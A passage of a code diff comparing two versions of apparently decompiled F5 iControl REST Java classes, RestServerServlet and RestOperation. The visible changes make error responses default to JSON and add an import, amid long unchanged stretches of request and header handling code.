diff --git a/com/f5/rest/app/RestServerServlet.java b/com/f5/rest/app/RestServerServlet.java index 9cd36e1..c0c67d6 100644 --- a/com/f5/rest/app/RestServerServlet.java +++ b/com/f5/rest/app/RestServerServlet.java @@ -1,538 +1,539 @@ package com.f5.rest.app; import com.f5.rest.common.ByteUnit; import com.f5.rest.common.HttpParserHelper; import com.f5.rest.common.RestHelper; import com.f5.rest.common.RestLogger; import com.f5.rest.common.RestOperation; import com.f5.rest.common.RestOperationIdentifier; import com.f5.rest.common.RestRequestCompletion; import com.f5.rest.common.RestServer; import com.f5.rest.common.RestWorkerUriNotFoundException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.net.URI; import java.net.URISyntaxException; import java.nio.charset.StandardCharsets; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.logging.Level; import java.util.logging.Logger; import javax.servlet.AsyncContext; import javax.servlet.ReadListener; import javax.servlet.ServletException; import javax.servlet.ServletInputStream; import javax.servlet.ServletOutputStream; import javax.servlet.WriteListener; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class RestServerServlet extends HttpServlet { private static final long serialVersionUID = -6003011105634738728L; private static final int BUFFER_SIZE = (int)ByteUnit.KILOBYTES.toBytes(8L); private Logger logger = RestLogger.getLogger(RestServerServlet.class.getName()); private static void failRequest(AsyncContext context, RestOperation operation, Throwable t, int httpStatusCode) { if (operation.generateRestErrorResponse()) { operation.setErrorResponseBody(t); } operation.setStatusCode(httpStatusCode); sendRestOperation(context, operation); } private static void sendRestOperation(AsyncContext context, RestOperation operation) { try { writeResponseHeadersFromRestOperation(operation, (HttpServletResponse)context.getResponse()); context.getResponse().getOutputStream().setWriteListener(new WriteListenerImpl(context, operation)); } catch (IOException e) { context.complete(); } } private class ReadListenerImpl implements ReadListener { private AsyncContext context; private ServletInputStream inputStream; private RestOperation operation; private byte[] buffer; private ByteArrayOutputStream outputStream; ReadListenerImpl(AsyncContext context, ServletInputStream inputStream, RestOperation operation) { this.context = context; this.inputStream = inputStream; this.operation = operation; this.buffer = null; this.outputStream = null; } public void onDataAvailable() throws IOException { if (this.operation == null) { throw new IOException("Missing operation"); } if (this.outputStream == null) { int contentLength = (int)this.operation.getContentLength(); if (contentLength == -1) { this.outputStream = new ByteArrayOutputStream(); } else { this.outputStream = new ByteArrayOutputStream(contentLength); } } if (this.buffer == null) this.buffer = new byte[RestServerServlet.BUFFER_SIZE]; int len; while (this.inputStream.isReady() && (len = this.inputStream.read(this.buffer)) != -1) { this.outputStream.write(this.buffer, 0, len); } } public void onAllDataRead() throws IOException { if (this.outputStream != null) { if (this.operation.getContentType() == null) { this.operation.setIncomingContentType("application/json"); } if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) { byte[] binaryBody = this.outputStream.toByteArray(); this.operation.setBinaryBody(binaryBody, this.operation.getContentType()); } else { String body = this.outputStream.toString(StandardCharsets.UTF_8.name()); this.operation.setBody(body, this.operation.getContentType()); } } RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() { public void run() { if (!RestServer.trySendInProcess(RestServerServlet.ReadListenerImpl.this.operation)) { RestServerServlet.failRequest(RestServerServlet.ReadListenerImpl.this.context, RestServerServlet.ReadListenerImpl.this.operation, (Throwable)new RestWorkerUriNotFoundException(RestServerServlet.ReadListenerImpl.this.operation.getUri().toString()), 404); } } }); RestServer.trace(this.operation); } public void onError(Throwable throwable) { if (this.operation != null) this.operation.fail(throwable); } } private static class WriteListenerImpl implements WriteListener { AsyncContext context; RestOperation operation; byte[] responseBody; ServletOutputStream outputStream; public WriteListenerImpl(AsyncContext context, RestOperation operation) { this.context = context; this.responseBody = HttpParserHelper.encodeBody(operation); if (this.responseBody != null) { context.getResponse().setContentLength(this.responseBody.length); } try { this.outputStream = context.getResponse().getOutputStream(); } catch (IOException e) { onError(e); } } public void onWritePossible() throws IOException { while (this.outputStream.isReady()) { if (this.responseBody != null) { this.outputStream.write(this.responseBody); this.responseBody = null; continue; } this.context.complete(); return; } } public void onError(Throwable throwable) { this.operation.fail(throwable); } } protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { final AsyncContext context = req.startAsync(); context.start(new Runnable() { public void run() { RestOperation op = null; try { op = RestServerServlet.this.createRestOperationFromServletRequest((HttpServletRequest)context.getRequest()); if (op == null) { HttpServletResponse errResp = (HttpServletResponse)context.getResponse(); errResp.sendError(400, "Error processing request"); context.complete(); return; } } catch (Exception e) { RestServerServlet.this.logger.warning("cannot create RestOperation " + e.getMessage()); context.complete(); return; } op.setCompletion(new RestRequestCompletion() { public void completed(RestOperation operation) { RestServerServlet.sendRestOperation(context, operation); } public void failed(Exception ex, RestOperation operation) { RestServerServlet.failRequest(context, operation, ex, operation.getStatusCode()); } }); try { ServletInputStream inputStream = context.getRequest().getInputStream(); inputStream.setReadListener(new RestServerServlet.ReadListenerImpl(context, inputStream, op)); } catch (IOException e) { RestServerServlet.failRequest(context, op, e, 500); } } }); } public static String getFullURL(HttpServletRequest request) { StringBuilder requestURL = new StringBuilder(request.getRequestURI()); String queryString = request.getQueryString(); if (queryString == null) { return requestURL.toString(); } return requestURL.append('?').append(queryString).toString(); } private static void writeResponseHeadersFromRestOperation(RestOperation operation, HttpServletResponse response) { boolean traceHeaders = (RestHelper.getOperationTracingLevel().intValue() <= Level.FINER.intValue()); - if (operation.getOutgoingContentType() == null) { + if (operation.getOutgoingContentType() == null || operation.getStatusCode() >= 400) + { operation.defaultToContentTypeJson(); } response.setContentType(operation.getOutgoingContentType()); if (operation.getOutgoingContentEncoding() != null) { response.setCharacterEncoding(operation.getOutgoingContentEncoding()); } if (operation.getAllow() != null) { AddResponseHeader(operation, response, "Allow", operation.getAllow(), traceHeaders); } if (operation.getContentRange() != null) { AddResponseHeader(operation, response, "Content-Range", operation.getContentRange(), traceHeaders); } if (operation.getContentDisposition() != null) { AddResponseHeader(operation, response, "Content-Disposition", operation.getContentDisposition(), traceHeaders); } if (operation.getWwwAuthenticate() != null) { AddResponseHeader(operation, response, "WWW-Authenticate", operation.getWwwAuthenticate(), traceHeaders); } if (operation.containsApiStatusInformation()) { AddResponseHeader(operation, response, "X-F5-Api-Status", HttpParserHelper.formatApiStatusHeader(operation), traceHeaders); } if (operation.getAdditionalHeaders(RestOperation.Direction.RESPONSE) != null) { Map<String, String> headers = operation.getAdditionalHeaders(RestOperation.Direction.RESPONSE).getHeaderMap(); for (Map.Entry<String, String> header : headers.entrySet()) { AddResponseHeader(operation, response, header.getKey(), header.getValue(), traceHeaders); } } response.setStatus(operation.getStatusCode()); AddResponseHeader(operation, response, "Pragma", "no-cache", traceHeaders); AddResponseHeader(operation, response, "Cache-Control", "no-store", traceHeaders); AddResponseHeader(operation, response, "Cache-Control", "no-cache", traceHeaders); AddResponseHeader(operation, response, "Cache-Control", "must-revalidate", traceHeaders); AddResponseHeader(operation, response, "Expires", "-1", traceHeaders); } private static void AddResponseHeader(RestOperation operation, HttpServletResponse response, String headerName, String headerValue, boolean traceHeaders) { response.addHeader(headerName, headerValue); } private static Map<String, HeaderHandler> HEADER_HANDLERS = new HashMap<>(); static { HEADER_HANDLERS.put("Accept".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setAccept(headerValue); } }); HEADER_HANDLERS.put("Authorization".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { String[] authHeader = headerValue.split(" "); if (authHeader[0].equalsIgnoreCase("BASIC")) { op.setBasicAuthorizationHeader(authHeader[1]); } } }); HEADER_HANDLERS.put("Allow".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setAllow(headerValue); } }); HEADER_HANDLERS.put("Transfer-Encoding".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setTransferEncoding(headerValue); } }); HEADER_HANDLERS.put("Referer".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setReferer(headerValue); } }); HEADER_HANDLERS.put("X-F5-REST-Coordination-Id".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setCoordinationId(headerValue); } }); HEADER_HANDLERS.put("X-Forwarded-For".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setXForwardedFor(headerValue); } }); HEADER_HANDLERS.put("X-Auth-Token".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setXAuthToken(headerValue); } }); HEADER_HANDLERS.put("X-F5-Auth-Token".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setXF5AuthToken(headerValue); } }); HEADER_HANDLERS.put("Connection".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { if (headerValue.equalsIgnoreCase("Keep-Alive")) { op.setConnectionKeepAlive(true); op.setConnectionClose(false); } else if (headerValue.equalsIgnoreCase("Close")) { op.setConnectionKeepAlive(false); op.setConnectionClose(true); } else { op.setConnectionKeepAlive(false); op.setConnectionClose(false); } } }); HEADER_HANDLERS.put("Content-Length".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setContentLength(Integer.parseInt(headerValue)); } }); HEADER_HANDLERS.put("Content-Type".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setIncomingContentType(headerValue); } }); HEADER_HANDLERS.put("Content-Range".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setContentRange(headerValue); } }); HEADER_HANDLERS.put("Content-Disposition".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setContentDisposition(headerValue); } }); HEADER_HANDLERS.put("X-F5-Gossip".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setGossipHeader(headerValue); } }); HEADER_HANDLERS.put("X-F5-Api-Status".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { HttpParserHelper.formatFromApiStatusHeader(op, headerValue); } }); HEADER_HANDLERS.put("X-F5-Config-Api-Status".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String bitMaskStr, RestOperation op) { try { long bitMask = Long.parseLong(bitMaskStr); op.setXF5ConfigApiStatus(bitMask); } catch (NumberFormatException ignored) {} } }); HEADER_HANDLERS.put("Cookie".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { if (headerValue.endsWith(";")) { headerValue = headerValue + " "; } if (!headerValue.endsWith("; ")) { headerValue = headerValue + "; "; } HttpParserHelper.parseCookieJarElements(op, headerValue); } }); HEADER_HANDLERS.put("WWW-Authenticate".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setWwwAuthenticate(headerValue); } }); HEADER_HANDLERS.put("X-F5-REST-Coordination-Id".toUpperCase(), new HeaderHandler() { public void processHeaderValue(String headerValue, RestOperation op) { op.setCoordinationId(headerValue); } }); } public static void setHostIpAddress(HttpServletRequest request, RestOperation operation) { if (request == null || operation == null) { return; } if (operation.getAdditionalHeader("X-Forwarded-Host") == null || operation.getAdditionalHeader("X-Forwarded-Host").isEmpty()) { String requestUrl = request.getRequestURL().toString(); String hostIpAddress = "localhost"; if (requestUrl != null && requestUrl.contains("://")) { requestUrl = requestUrl.split("://")[1]; hostIpAddress = requestUrl.split("/")[0]; } operation.addAdditionalHeader("X-Forwarded-Host", hostIpAddress); } } private RestOperation createRestOperationFromServletRequest(HttpServletRequest request) throws URISyntaxException { String port = getInitParameter("port"); String fullUrl = getFullURL(request); URI targetUri = new URI(String.format("%s%s:%s%s", new Object[] { "http://", "localhost", port, fullUrl })); RestOperation op = RestOperation.create().setMethod(RestOperation.RestMethod.valueOf(request.getMethod().toUpperCase())).setUri(targetUri); Enumeration<String> headerNames = request.getHeaderNames(); while (headerNames.hasMoreElements()) { String headerName = headerNames.nextElement(); String headerValue = request.getHeader(headerName); if (RestOperation.isStandardHeader(headerName)) { if (headerValue == null) { this.logger.warning(headerName + " doesn't have value, so skipping"); continue; } HeaderHandler headerHandler = HEADER_HANDLERS.get(headerName.toUpperCase()); if (headerHandler != null) { headerHandler.processHeaderValue(headerValue, op); } continue; } op.addAdditionalHeader(headerName, headerValue); } if (fullUrl.substring(1).startsWith("mgmt")) { setHostIpAddress(request, op); } return op; } private static interface HeaderHandler { void processHeaderValue(String param1String, RestOperation param1RestOperation); } } diff --git a/com/f5/rest/common/RestOperation.java b/com/f5/rest/common/RestOperation.java index ee882d4..fc91fdd 100644 --- a/com/f5/rest/common/RestOperation.java +++ b/com/f5/rest/common/RestOperation.java @@ -1,2875 +1,2876 @@ package com.f5.rest.common; import com.f5.rest.workers.AuthTokenItemState; import com.f5.rest.workers.authz.AuthzHelper; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.google.gson.JsonElement; import com.google.gson.JsonObject; import com.google.gson.JsonParser; import com.google.gson.JsonSyntaxException; import java.io.Reader; import java.lang.reflect.Type; import java.net.SocketAddress; import java.net.URI; import java.nio.charset.StandardCharsets; import java.security.cert.Certificate; import java.util.ArrayList; import java.util.Date; import java.util.EnumSet; import java.util.HashMap; import java.util.HashSet; +import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.AtomicLong; import java.util.logging.Level; import javax.xml.bind.DatatypeConverter; import org.joda.time.DateTime; public class RestOperation implements Cloneable { public static class HttpException extends Exception { private static final long serialVersionUID = 1L; public HttpException(String message) { super(message); } } private static final RestLogger LOGGER = new RestLogger(RestOperation.class, ""); public static final int STATUS_OK = 200; public static final int STATUS_CREATED = 201; public static final int STATUS_ACCEPTED = 202; public static final int STATUS_NO_CONTENT = 204; public static final int STATUS_PARTIAL_CONTENT = 206; public static final int STATUS_FOUND = 302; public static final int STATUS_BAD_REQUEST = 400; public static final int STATUS_FAILURE_THRESHOLD = 400; public static final int STATUS_UNAUTHORIZED = 401; public static final int STATUS_FORBIDDEN = 403; public static final int STATUS_NOT_FOUND = 404; public static final int STATUS_METHOD_NOT_ALLOWED = 405; public static final int STATUS_NOT_ACCEPTABLE = 406; public static final int STATUS_CONFLICT = 409; public static final int STATUS_INTERNAL_SERVER_ERROR = 500; public static final int STATUS_NOT_IMPLEMENTED = 501; public static final int STATUS_BAD_GATEWAY = 502; public static final int STATUS_SERVICE_UNAVAILABLE = 503; public static final int STATUS_INSUFFICIENT_STORAGE = 507; public static final String REMOTE_SENDER_IN_PROCESS = "InProcess"; public static final String REMOTE_SENDER_UNKNOWN = "Unknown"; public static final String EMPTY_JSON_BODY = "{}"; public static final long UNKNOWN_CONTENT_LENGTH = -1L; public static String WILDCARD = "*"; public static String WILDCARD_PATH = "/" + WILDCARD; private Certificate[] serverCertificateChain; public static class ParsedCollectionEntry { public String collectionName; public String entryKey; } public enum RestMethod { GET, POST, PUT, DELETE, PATCH, OPTIONS; private static final String[] methodHandlerNames = new String[] { "onGet", "onPost", "onPut", "onDelete", "onPatch", "onOptions" }; static { } public String getMethodHandlerName() { return methodHandlerNames[ordinal()]; } } public enum RestOperationFlags { IDENTIFIED, VERIFIED; } public static boolean contentTypeEquals(String mediaTypeA, String mediaTypeB) { return (mediaTypeA.hashCode() == mediaTypeB.hashCode()); } public Certificate[] getServerCertificateChain() { return this.serverCertificateChain; } RestOperation setServerCertificateChain(Certificate[] certificates) { this.serverCertificateChain = certificates; return this; } protected static final AtomicInteger maxMessageBodySize = new AtomicInteger(33554432); protected static final AtomicInteger defaultMessageBodySize = new AtomicInteger(16384); private static Gson gson = allocateGson(false); private static Gson extendedGson = allocateGson(true); public static final String HTTP_HEADER_FIELD_VALUE_SEPARATOR = ":"; public static final String X_F5_REST_COORDINATION_ID_HEADER = "X-F5-REST-Coordination-Id"; public static final String X_F5_REST_COORDINATION_ID_HEADER_WITH_COLON = "X-F5-REST-Coordination-Id:"; public static final String X_FORWARDED_FOR_HEADER = "X-Forwarded-For"; public static final String X_FORWARDED_FOR_HEADER_WITH_COLON = "X-Forwarded-For:"; public static final String X_F5_AUTH_TOKEN_HEADER = "X-F5-Auth-Token"; public static final String X_F5_AUTH_TOKEN_HEADER_WITH_COLON = "X-F5-Auth-Token:"; public static final String X_AUTH_TOKEN_HEADER = "X-Auth-Token"; public static final String X_AUTH_TOKEN_HEADER_WITH_COLON = "X-Auth-Token:"; public static final String X_F5_GOSSIP_HEADER = "X-F5-Gossip"; public static final String X_F5_GOSSIP_HEADER_WITH_COLON = "X-F5-Gossip:"; public static final String BASIC_REALM_REST_API = "Basic realm='REST API'"; public static final String WWW_AUTHENTICATE_HEADER = "WWW-Authenticate"; public static final String WWW_AUTHENTICATE_HEADER_WITH_COLON = "WWW-Authenticate:"; static Gson getGson() { return gson; } public static final String HOST_HEADER = "Host"; public static final String CONNECTION_HEADER = "Connection"; public static final String CONTENT_TYPE_HEADER = "Content-Type"; public static final String CONTENT_DISPOSITION_HEADER = "Content-Disposition"; public static final String CONTENT_LENGTH_HEADER = "Content-Length"; public static final String CONTENT_RANGE_HEADER = "Content-Range"; public static final String USER_AGENT_HEADER = "User-Agent"; public static final String SET_COOKIE_HEADER = "Set-Cookie"; public static final String DATE_HEADER = "Date"; public static final String SERVER_HEADER = "Server"; public static final String CACHE_CONTROL_HEADER = "Cache-Control"; public static final String PRAGMA_HEADER = "Pragma"; public static final String EXPIRES_HEADER = "Expires"; public static final String ACCEPT_HEADER = "Accept"; static Gson getExtendedGson() { return extendedGson; } private static Gson allocateGson(boolean makeExtendedGson) { GsonBuilder bldr = (new GsonBuilder()).disableHtmlEscaping().setDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSZ").registerTypeAdapter(DateTime.class, new DateTimeTypeAdapter()); if (makeExtendedGson) { bldr.registerTypeHierarchyAdapter(RestWorkerState.class, new RestWorkerStateSerializer()); } return bldr.create(); } public static final int ACCEPT_HEADER_LENGTH = "Accept".length(); public static final String ACCESS_CONTROL_ALLOW_HEADERS_HEADER = "Access-Control-Allow-Headers"; public static final int ACCESS_CONTROL_ALLOW_HEADERS_HEADER_LENGTH = "Access-Control-Allow-Headers".length(); public static final String ACCESS_CONTROL_ALLOW_ORIGIN_HEADER = "Access-Control-Allow-Origin"; public static final int ACCESS_CONTROL_ALLOW_ORIGIN_HEADER_LENGTH = "Access-Control-Allow-Origin".length(); public static final String ACCESS_CONTROL_MAX_AGE_HEADER = "Access-Control-Max-Age"; public static final int ACCESS_CONTROL_MAX_AGE_HEADER_LENGTH = "Access-Control-Max-Age".length(); public static final String ACCESS_CONTROL_ALLOW_METHODS_HEADER = "Access-Control-Allow-Methods"; public static final int ACCESS_CONTROL_ALLOW_METHODS_HEADER_LENGTH = "Access-Control-Allow-Methods".length(); public static final String ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER = "Access-Control-Allow-Credentials"; public static final int ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER_LENGTH = "Access-Control-Allow-Credentials".length(); public static final String ACCESS_CONTROL_REQUEST_HEADERS_HEADER = "Access-Control-Request-Headers"; public static final int ACCESS_CONTROL_REQUEST_HEADERS_HEADER_LENGTH = "Access-Control-Request-Headers".length(); public static final String AUTHORIZATION_HEADER = "Authorization"; public static final String TRANSFER_ENCODING_HEADER = "Transfer-Encoding"; public static final String REFERER_HEADER = "Referer"; public static final String BASIC_AUTHORIZATION_HEADER = "Authorization: Basic "; public static final String BASIC_AUTHORIZATION_HEADER_LOWERCASE = "Authorization: Basic ".toLowerCase(); public static final int BASIC_AUTHORIZATION_HEADER_LENGTH = "Authorization: Basic ".length(); public static final String COOKIE_HEADER = "Cookie"; public static final int COOKIE_HEADER_LENGTH = "Cookie".length(); public static final String COOKIE_HEADER_VALUE_SEPARATOR = ";"; public static final String TMUI_DUBBUF_HEADER = "Tmui-Dubbuf"; public static final String ALLOW_HEADER = "Allow"; public static final String LOCATION_HEADER = "Location"; public static final String X_F5_API_STATUS_HEADER = "X-F5-Api-Status"; public static final String X_F5_API_STATUS_HEADER_WITH_COLON = "X-F5-Api-Status:"; public static final String X_F5_CONFIG_API_STATUS_HEADER = "X-F5-Config-Api-Status"; public static final String X_F5_CONFIG_API_STATUS_HEADER_WITH_COLON = "X-F5-Config-Api-Status:"; public static final String X_F5_NEW_AUTHTOK_REQD_HEADER = "X-F5-New-Authtok-Reqd"; public static final String X_FORWARDED_HOST_HEADER = "X-Forwarded-Host"; public static final String X_REAL_IP_HEADER = "X-Real-IP"; private static final String[] STANDARD_HEADERS = new String[] { "Cache-Control", "Pragma", "Expires", "Content-Type", "Content-Range", "Content-Disposition", "Content-Length", "Authorization", "X-F5-Auth-Token", "WWW-Authenticate", "X-Auth-Token", "X-Forwarded-For", "Referer", "X-F5-REST-Coordination-Id", "User-Agent", "Accept", "Connection", "Transfer-Encoding", "Host", "Date", "Server", "Connection", "Allow", "X-F5-Gossip", "X-F5-Api-Status", "X-F5-Config-Api-Status" }; private static final HashSet<String> standardHeadersSet = getStandardHeadersSet(); public static final String CONNECTION_HEADER_VALUE_CLOSE = "close"; public static final String MIME_TYPE_APPLICATION_JSON = "application/json"; public static final String MIME_TYPE_APPLICATION_XML = "application/xml"; public static final String MIME_TYPE_APPLICATION_JAVASCRIPT = "application/javascript"; public static final String MIME_TYPE_APPLICATION_X_JAVASCRIPT = "application/x-javascript"; public static final String MIME_TYPE_TEXT_JAVASCRIPT = "text/javascript"; public static final String MIME_TYPE_TEXT_HTML = "text/html"; public static final String MIME_TYPE_TEXT_CSS = "text/css"; public static final String MIME_TYPE_TEXT_CSV = "text/csv"; public static final String MIME_TYPE_TEXT_XML = "text/xml"; public static final String MIME_TYPE_IMAGE_BMP = "image/bmp"; public static final String MIME_TYPE_IMAGE_GIF = "image/gif"; public static final String MIME_TYPE_IMAGE_JPEG = "image/jpeg"; public static final String MIME_TYPE_IMAGE_PNG = "image/png"; public static final String MIME_TYPE_IMAGE_SVG = "image/svg+xml"; public static final String MIME_TYPE_IMAGE_TIFF = "image/tiff"; private static HashSet<String> getStandardHeadersSet() { HashSet<String> headerSet = new HashSet<>(); for (String header : STANDARD_HEADERS) { headerSet.add(header.toLowerCase()); } return headerSet; } public static boolean isStandardHeader(String header) { return standardHeadersSet.contains(header.toLowerCase()); } public static final String MIME_ENCODING_UTF8 = StandardCharsets.UTF_8.name(); public static final String MIME_TYPE_APPLICATION_OCTET_STREAM = "application/octet-stream"; public static final String CHUNKED_TRANSFER_ENCODING = "chunked"; public static final String PORT_SEPARATOR = ":"; public static final String PATH_SEPARATOR = "/"; public static final char PATH_SEPARATOR_CHAR = '/'; public static final String EMPTY_STRING = ""; public static final char QUERY_SEPARATOR = '?'; public static final String QUERY_SEPARATOR_STRING = Character.toString('?'); public static final char QUERY_PARAM_SEPARATOR = '&'; public static final char QUERY_EQUALS = '='; public static final String QUERY_PARAM_SEPARATOR_STRING = "&"; public static final String GENERATION_QUERY_PARAM_NAME = "generation"; public static final String LAST_UPDATE_MICROS_QUERY_PARAM_NAME = "lastUpdateMicros"; static final int DEFAULT_RETRY_COUNT = 5; private RestRequestCompletion completion; public static RestOperation create() { RestOperation self = new RestOperation(); self.restOperationFlags = EnumSet.noneOf(RestOperationFlags.class); return self; } public static RestOperation createIdentified() { RestOperation self = create(); self.restOperationFlags.add(RestOperationFlags.IDENTIFIED); return self; } public static RestOperation createIdentified(RestOperation original) { RestOperation copy = (RestOperation)original.clone(); copy.restOperationFlags.clear(); copy.restOperationFlags.add(RestOperationFlags.IDENTIFIED); return copy.setXF5AuthToken(null); } public static RestOperation createIdentified(String identifiedGroupName) { RestOperation self = createIdentified(); self.identifiedGroupName = identifiedGroupName; return self; } public static RestOperation createSigned() { return create(); } public static RestOperation createSignedAndVerified() { RestOperation self = create(); self.restOperationFlags.add(RestOperationFlags.VERIFIED); return self; } private static class AuthorizationData { public String basicAuthValue; public String xAuthToken; public AuthTokenItemState xF5AuthTokenState; public String wwwAuthenticate; private AuthorizationData() {} } private static class IdentityData { public String userName; public RestReference userReference; public RestReference[] groupReferences; private IdentityData() {} } private final HashMap<String, String> parameters = new HashMap<>(); private HttpHeaderFields[] additionalHeaders; private static AtomicLong nextId = new AtomicLong(0L); private final long id; private URI uri; private Date expiration = new Date(RestHelper.getCurrentTimeInMillis() + RestHelper.getOperationTimeoutMillis()); private RestMethod method; private String incomingContentType; private String contentType; private String contentEncoding; private String accept; private String body; private byte[] binaryBody; private long contentLength = -1L; private String contentRange; private Object deserializedBody; private Type deserializedBodyType; private boolean isResponse; private boolean isForceSocketEnabled; private boolean isConnectionKeepAlive = true; private boolean isConnectionCloseRequested; private EnumSet<RestOperationFlags> restOperationFlags; private String xForwardedFor; private int retriesRemaining = 5; private final AtomicInteger completionCount = new AtomicInteger(0); private int httpHeaderByteCount; private int statusCode = 200; private AuthorizationData authorizationData; private IdentityData identityData; private String transferEncoding; private List<ParsedCollectionEntry> parsedUriCollectionEntries; private SocketAddress sourceAddress; private String referer; private String coordinationId; private boolean isRollbackRequest; private String contentDisposition; private String identifiedGroupName; private boolean isTrustedRequest; private String allow; private Boolean resourceDeprecated; private Boolean resourceEarlyAccess; private Boolean propertyDeprecated; private Boolean propertyEarlyAccess; private long xF5ConfigApiStatus; private String origin; private String senderNote; private String gossipHeader; private static final int DEFAULT_HEADER_BUFFER_SIZE = 256; private StringBuilder responseHeadersTrace; private volatile StringBuilder requestHeadersTrace; private boolean isRestErrorResponseRequired = true; private Boolean isPublicRequest; public void setIsPublicRequestToTrue() { this.isPublicRequest = Boolean.TRUE; } public boolean isPublicRequest() { return (this.isPublicRequest != null && this.isPublicRequest.booleanValue()); } public void appendResponseHeaderTrace(String headerLine) { if (RestHelper.getOperationTracingLevel().intValue() > Level.FINER.intValue()) { return; } if (this.responseHeadersTrace == null) { this.responseHeadersTrace = new StringBuilder(256); } this.responseHeadersTrace.append(headerLine); } public void appendRequestHeaderTrace(String headerName, String headerValue) { if (RestHelper.getOperationTracingLevel().intValue() > Level.FINER.intValue()) { return; } if (this.requestHeadersTrace == null) { this.requestHeadersTrace = new StringBuilder(256); } appendHeaderTrace(this.requestHeadersTrace, headerName, headerValue); } private void appendHeaderTrace(StringBuilder headersTraceBuilder, String headerName, String headerValue) { headersTraceBuilder.append(headerName); headersTraceBuilder.append(": "); headersTraceBuilder.append(headerValue); headersTraceBuilder.append("\n"); } public String getResponseHeadersTrace() { return (RestHelper.getOperationTracingLevel().intValue() <= Level.FINER.intValue() && this.responseHeadersTrace != null) ? this.responseHeadersTrace.toString() : null; } public String getRequestHeadersTrace() { return (RestHelper.getOperationTracingLevel().intValue() <= Level.FINER.intValue() && this.requestHeadersTrace != null) ? this.requestHeadersTrace.toString() : null; } private RestOperation() { this.id = nextId.getAndIncrement(); } public String toString() { return String.format("[\n id=%s\n referer=%s\n uri=%s\n method=%s\n statusCode=%d\n contentType=%s\n contentLength=%d\n contentRange=%s\n deadline=%s\n body=%s\n forceSocket=%s\n isResponse=%s\n retriesRemaining=%s\n coordinationId=%s\n isConnectionCloseRequested=%s\n isConnectionKeepAlive=%s\n isRestErrorResponseRequired=%s\n AdditionalHeadersAsString=\n%s\n ResponseHeadersTrace=%s\n X-F5-Config-Api-Status=%d]", new Object[] { Long.valueOf(this.id), this.referer, this.uri, getMethod(), Integer.valueOf(getStatusCode()), getContentType(), Long.valueOf(getContentLength()), getContentRange(), getExpiration(), getBodyAsString(), Boolean.valueOf(getForceSocket()), Boolean.valueOf(isResponse()), Integer.valueOf(getRetriesRemaining()), getCoordinationId(), Boolean.valueOf(isConnectionCloseRequested()), Boolean.valueOf(isConnectionKeepAlive()), Boolean.valueOf(isRestErrorResponseRequired()), getAdditionalHeadersAsString(" "), (getResponseHeadersTrace() == null) ? "" : String.format(" %s\n", new Object[] { getResponseHeadersTrace() }), Long.valueOf(getXF5ConfigApiStatus()) }); } public long getId() { return this.id; } public String getReferer() { return this.referer; } public RestOperation setReferer(String referer) { this.referer = referer; return this; } public RestOperation setOneTryOnly() { this.retriesRemaining = 1; return this; } int decrementRetriesRemaining() { return --this.retriesRemaining; } int getRetriesRemaining() { return this.retriesRemaining; } void setRetriesRemaining(int retriesRemaining) { this.retriesRemaining = retriesRemaining; } RestOperation clearRetriesRemaining() { this.retriesRemaining = 0; return this; } public int getCompletionCount() { return this.completionCount.get(); } void resetCompletionCount() { this.completionCount.set(0); } public String getXForwarderdFor() { return this.xForwardedFor; } public String getRemoteSender() { if (this.xForwardedFor != null) { return this.xForwardedFor; } if (this.referer != null) { return this.referer; } return "Unknown"; } public RestOperation setContentLength(long contentLength) { this.contentLength = contentLength; return this; } public RestRequestCompletion getCompletion() { return this.completion; } public boolean isConnectionKeepAlive() { return this.isConnectionKeepAlive; } public RestOperation setConnectionKeepAlive(boolean isConnectionKeepAlive) { this.isConnectionKeepAlive = isConnectionKeepAlive; return this; } public boolean isConnectionCloseRequested() { return this.isConnectionCloseRequested; } public RestOperation setConnectionClose(boolean isConnectionCloseRequested) { this.isConnectionCloseRequested = isConnectionCloseRequested; return this; } int getHttpHeaderByteCount() { return this.httpHeaderByteCount; } RestOperation setHttpHeaderByteCount(int byteCount) { this.httpHeaderByteCount = byteCount; return this; } RestOperation flipToResponse(boolean clearBody) { removeAdditionalHeader("Tmui-Dubbuf"); this.isResponse = true; this.parameters.clear(); this.httpHeaderByteCount = 0; if (this.authorizationData != null) { this.authorizationData.basicAuthValue = null; } if (clearBody) { clearBody(); } return this; } void clearBody() { this.contentLength = -1L; this.binaryBody = null; this.body = null; this.deserializedBody = null; this.deserializedBodyType = null; } public boolean 